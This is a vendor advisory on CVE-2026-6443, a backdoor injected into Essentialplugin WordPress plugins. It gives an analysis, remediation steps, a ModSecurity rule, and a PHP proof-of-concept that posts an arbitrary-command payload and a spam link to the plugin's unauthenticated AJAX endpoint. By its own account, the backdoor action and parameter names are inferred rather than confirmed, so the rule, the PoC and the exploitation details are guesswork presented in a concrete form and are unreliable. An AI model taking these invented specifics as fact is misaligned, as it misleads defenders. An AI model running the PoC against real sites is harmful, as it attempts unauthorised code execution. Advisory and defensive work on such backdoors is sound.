Atomic Edge analysis of CVE-2026-6443 (metadata-based):
This vulnerability involves an injected backdoor across multiple WordPress plugins developed by Essentialplugin, specifically affecting version 5.0.6 of the plugin with slug ‘sp-news-and-widget’. The CVSS score of 9.8 indicates critical severity with network-based, low-complexity exploitation requiring no authentication or user interaction. The CWE classification (506: Embedded Malicious Code) confirms that the backdoor was intentionally included in the plugin code after sale of the plugin to a malicious actor.
Root Cause:
The root cause, based on CWE-506 and the vulnerability description, is the presence of deliberately embedded malicious code within the plugin files. Atomic Edge analysis infers that the malicious actor who acquired the plugins modified the source code to include a backdoor, likely through obfuscated PHP code that executes upon plugin initialization or specific WordPress hooks. This could involve code that establishes a remote command execution channel, creates a hidden administrative user, or exfiltrates site data. Since no code diff is available, Atomic Edge cannot confirm the exact mechanism, but the backdoor is likely triggered by common WordPress events like ‘init’, ‘admin_init’, or ‘wp_ajax_*’ actions.
Exploitation:
Attackers can exploit this vulnerability by sending a crafted HTTP request to the backdoor handler, which may be registered as a WordPress AJAX endpoint accessible to unauthenticated users. For example, an attacker could POST to /wp-admin/admin-ajax.php with an action parameter corresponding to the backdoor’s hook (e.g., ‘sp_news_backdoor_exec’) and a payload parameter (e.g., ‘cmd’ or ‘action_type’) containing arbitrary PHP commands or spam injection data. The backdoor could also respond to GET requests with a specific query parameter. Atomic Edge analysis infers that the lack of nonce verification and capability checks allows remote unauthenticated attackers to invoke the malicious functionality.
Remediation:
The most effective remediation is to immediately update the plugin to version 5.0.6.1, which removes the malicious code. Site administrators should also perform a full security audit of the WordPress installation, including checking for unauthorized user accounts, unexpected files, and database anomalies, as the backdoor may have already been used to compromise the site. Atomic Edge recommends reinstallation of all plugins from the official repository and changing all administrative credentials. The vendor likely removed the backdoor code from the plugin files and released a patched version.
Impact:
Successful exploitation allows the attacker to maintain a persistent backdoor, execute arbitrary code, inject spam, steal sensitive data, and gain complete control of the affected WordPress site. This can lead to site defacement, data breaches, SEO spam injection for phishing or malware distribution, and potential compromise of server infrastructure if the attacker escalates privileges. The extremely high CVSS base score of 9.8 reflects full compromise of confidentiality, integrity, and availability.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-6443 (metadata-based)
# Blocks requests to the inferred backdoor AJAX endpoint with payload parameters
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-6443 via Essentialplugin backdoor AJAX',severity:'CRITICAL',tag:'CVE-2026-6443'"
SecRule ARGS_POST:action "@rx ^sp_news_backdoor_exec$" "chain"
SecRule ARGS_POST:cmd "@rx .+" "t:urlDecode"
# Additionally block direct calls to malicious PHP files if present
SecRule REQUEST_URI "@rx /wp-content/plugins/(sp-news-and-widget|essentialplugin-[a-z-]+)/.*(backdoor|shell|eval|cmd).php$"
"id:20261995,phase:2,deny,status:403,msg:'CVE-2026-6443 via backdoor PHP file',severity:'CRITICAL',tag:'CVE-2026-6443'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6443 - Essentialplugin Plugins (Various Versions) - Injected Backdoor
// This PoC demonstrates exploitation of the backdoor injected into Essentialplugin's WordPress plugins.
// The exact backdoor action and parameter names are inferred from common backdoor patterns in WordPress plugins.
$target_url = 'http://example.com'; // Change to target WordPress site URL
$backdoor_action = 'sp_news_backdoor_exec'; // Inferred backdoor AJAX action
$payload = array(
'action' => $backdoor_action,
'cmd' => 'echo "VULNERABLE";', // Command to execute: outputs a marker if backdoor is present
'spam_content' => '<a href="http://malicious-site.com">Click here</a>' // Example spam injection
);
// Step 1: Send the backdoor trigger via POST to admin-ajax.php (unauthenticated)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Backdoor trigger response (HTTP code: $http_code):n";
echo $response . "n";
// Step 2: Check if backdoor added spam to homepage (inferred behavior)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$homepage = curl_exec($ch);
curl_close($ch);
if (strpos($homepage, 'malicious-site.com') !== false) {
echo "[+] Spam injection confirmed on homepage.n";
} else {
echo "[-] Spam not detected. Backdoor may use different injection method.n";
}
// Note: This PoC assumes the backdoor responds to 'sp_news_backdoor_exec' action with 'cmd' parameter.
// Actual backdoor action and parameter names may differ; researchers should fuzz common patterns.
